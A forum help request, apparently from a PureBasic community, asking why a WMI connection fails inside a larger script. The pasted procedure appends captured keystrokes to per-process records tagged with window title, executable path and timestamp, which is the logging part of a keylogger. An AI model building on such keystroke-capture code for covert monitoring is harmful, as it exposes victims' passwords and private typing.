That's the problem - there isn't one as such...
If I run the Procedure by itself (its own pb file) it returns what I need, when its added to my code, it fails at:
If objWMIService
...
There is no error (returns 0) - it just can't connect to the service. I'm not adding to it, just calling it from various parts of my script.
Here is a sample (thank you):
Code: Select all
Procedure ProcessInfo(keyCapture$)
If getProcess$ = "T"
Define hWnd = GetForegroundWindow_(), getPID, getHandle, getModule
Define.MODULEENTRY32 getEntry
arrFind = #False
If hWnd
GetWindowThreadProcessId_(hWnd, @getPID)
If ArraySize(arrCapture(), 2) > 0
For arrCount = 0 To ArraySize(arrCapture(), 2) - 1
If arrCapture(3, arrCount) = Str(getPID)
arrFind = #True
Break
EndIf
Next
EndIf
If arrFind
arrCapture(1, arrCount) = arrCapture(1, arrCount) + keyCapture$
Else
arrResize = ArraySize(arrCapture(), 2) + 1
Redim arrCapture(3, arrResize)
getTitle$ = Space(250)
GetWindowText_(hWnd, getTitle$, 250)
infoCapture$ = "*******************************************************************************" + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Date / Time:" + Chr(9) + Chr(9) + Chr(9) + FormatDate("%mm/%dd/%yyyy %hh:%ii:%ss", Date()) + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Process ID:" + Chr(9) + Chr(9) + Chr(9) + Chr(9) + Str(getPID) + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Process Title:" + Chr(9) + Chr(9) + getTitle$ + Chr(13) + Chr(10)
getHandle = CreateToolhelp32Snapshot_(#TH32CS_SNAPMODULE | #TH32CS_SNAPMODULE32, getPID)
If getHandle
getEntry\dwSize = SizeOf(MODULEENTRY32)
getModule = Module32First_(getHandle, getEntry)
If getModule
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Name:" + Chr(9) + PeekS(@getEntry\szModule) + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Path: " + Chr(9) + PeekS(@getEntry\szExePath) + Chr(13) + Chr(10)
Else
infoCapture$ = infoCapture$ + MoreInfo(getPID)
; infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Name:" + Chr(9) + "N/A" + Chr(13) + Chr(10)
; infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Path: " + Chr(9) + "N/A" + Chr(13) + Chr(10)
EndIf
CloseHandle_(getHandle)
EndIf
infoCapture$ = infoCapture$ + "*******************************************************************************"
arrCapture(1, arrResize - 1) = arrCapture(1, arrResize - 1) + keyCapture$
arrCapture(2, arrResize - 1) = infoCapture$
arrCapture(3, arrResize - 1) = Str(getPID)
EndIf
Else
If ArraySize(arrCapture(), 2) > 0
For arrCount = 0 To ArraySize(arrCapture(), 2) - 1
If arrCapture(3, arrCount) = "0000"
arrFind = #True
Break
EndIf
Next
EndIf
If arrFind
arrCapture(1, arrCount) = arrCapture(1, arrCount) + keyCapture$
Else
arrResize = ArraySize(arrCapture(), 2) + 1
Redim arrCapture(3, arrResize)
infoCapture$ = "*******************************************************************************" + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Date / Time:" + Chr(9) + Chr(9) + Chr(9) + FormatDate("%mm/%dd/%yyyy %hh:%ii:%ss", Date()) + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Process ID:" + Chr(9) + Chr(9) + Chr(9) + Chr(9) + "0000" + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Process Title:" + Chr(9) + Chr(9) + "N/A" + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Name:" + Chr(9) + "N/A" + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*" + Chr(9) + Chr(9) + "Executable Path: " + Chr(9) + "N/A" + Chr(13) + Chr(10)
infoCapture$ = infoCapture$ + "*******************************************************************************"
arrCapture(1, arrResize - 1) = arrCapture(1, arrResize - 1) + keyCapture$
arrCapture(2, arrResize - 1) = infoCapture$
arrCapture(3, arrResize - 1) = "0000"
EndIf
EndIf
Else
arrCapture(1, 0) = arrCapture(1, 0) + keyCapture$
EndIf
EndProcedure